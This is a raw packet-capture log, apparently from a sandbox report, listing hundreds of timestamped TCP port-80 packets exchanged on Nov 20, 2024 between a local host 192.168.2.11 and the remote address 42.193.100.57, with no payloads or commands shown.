        Nov 20, 2024 09:14:51.742115974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742140055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742140055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742152929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742160082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742165089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742198944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742214918 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742238998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742264032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742275953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742285967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742295980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742305040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742307901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742338896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742351055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742424965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742435932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742446899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742455959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742466927 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742469072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742479086 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742491007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742491007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742530107 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742573977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742584944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742594957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742604971 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742614985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742616892 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742629051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742640018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742645979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742651939 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742683887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742683887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742707014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742716074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742731094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742750883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742877960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742889881 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742901087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742912054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742924929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742928982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742948055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742959023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742959976 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742971897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742981911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.742986917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.742994070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743012905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743016958 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.743025064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743036032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743047953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.743067980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.743092060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743103027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743118048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743129969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743130922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.743160009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743160963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.743172884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.743195057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.743226051 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.882714033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882730007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882750034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882756948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882767916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882775068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882786989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882802963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882822037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882833958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882854939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.882886887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882900953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882901907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.882913113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882925987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882930040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.882939100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882950068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882961988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882961988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.882992983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.882996082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883004904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883017063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883028030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883033037 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883040905 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883052111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883063078 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883064032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883106947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883138895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883150101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883157969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883163929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883169889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883213043 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883255005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883268118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883284092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883295059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883307934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883316040 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883327007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883359909 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883362055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883397102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883404016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883411884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883424997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:51.883440018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:51.883460999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.180907011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181047916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181052923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181060076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181072950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181087017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181097984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181106091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181137085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181197882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181216002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181229115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181238890 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181241035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181255102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181265116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181292057 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181360006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181370974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181382895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181394100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181405067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181405067 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181421041 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181423903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181446075 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181469917 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181526899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181539059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181550980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181561947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181591034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181607008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181680918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181693077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181703091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181718111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181730032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181730986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181742907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181746960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181778908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181826115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181838036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181849957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181859970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181885004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181905031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.181984901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.181996107 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182007074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182017088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182022095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182037115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182046890 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182136059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182147026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182157993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182168961 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182179928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182183027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182193995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182220936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182285070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182296038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182307959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182333946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182343960 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182436943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182451010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182461023 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182472944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182485104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182496071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182496071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182527065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182594061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182605028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182615995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182631969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182640076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182646036 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182658911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182668924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182703972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182703972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182719946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182754040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182766914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182777882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182789087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182817936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182830095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.182950974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.182960987 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.183001041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.485953093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.485970020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.485994101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486008883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486025095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486037970 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486052990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486068964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486135006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486135960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486150980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486166000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486172915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486188889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486201048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486205101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486218929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486226082 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486233950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486247063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486254930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486282110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486320019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486332893 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486347914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486362934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486372948 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486378908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486383915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486383915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486392975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486393929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486411095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486435890 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486448050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486463070 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486484051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486488104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486498117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486499071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486512899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486515999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486535072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486548901 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486597061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486610889 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486624002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486635923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486680984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486726046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486740112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486768007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486772060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486794949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486809015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486815929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486830950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486852884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486860037 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486875057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486891031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486910105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486920118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486928940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486943960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486960888 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486963987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.486984968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.486987114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487001896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487009048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487016916 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487018108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487032890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487046003 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487046957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487061024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487066031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487076044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487088919 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487092972 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487118006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487139940 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487140894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487155914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487169981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487179995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487185001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487196922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487205982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487226963 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487276077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487288952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487303019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487317085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487332106 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487333059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487361908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487375975 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487406015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487420082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487440109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487452984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487456083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487467051 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487488985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487488985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487504005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487512112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487519026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487530947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487534046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487549067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487548113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487572908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487585068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487601042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487620115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487659931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487673998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487688065 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487693071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487706900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487723112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487726927 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487736940 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487751007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487763882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487765074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487777948 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487787962 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487792015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487796068 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487809896 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487826109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487828016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487849951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487863064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487874985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487879992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.487898111 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.487905979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809030056 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809047937 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809062958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809087992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809098959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:52.809103966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809118986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:52.809134007 CET804970142.193.100.57192.168.2.11
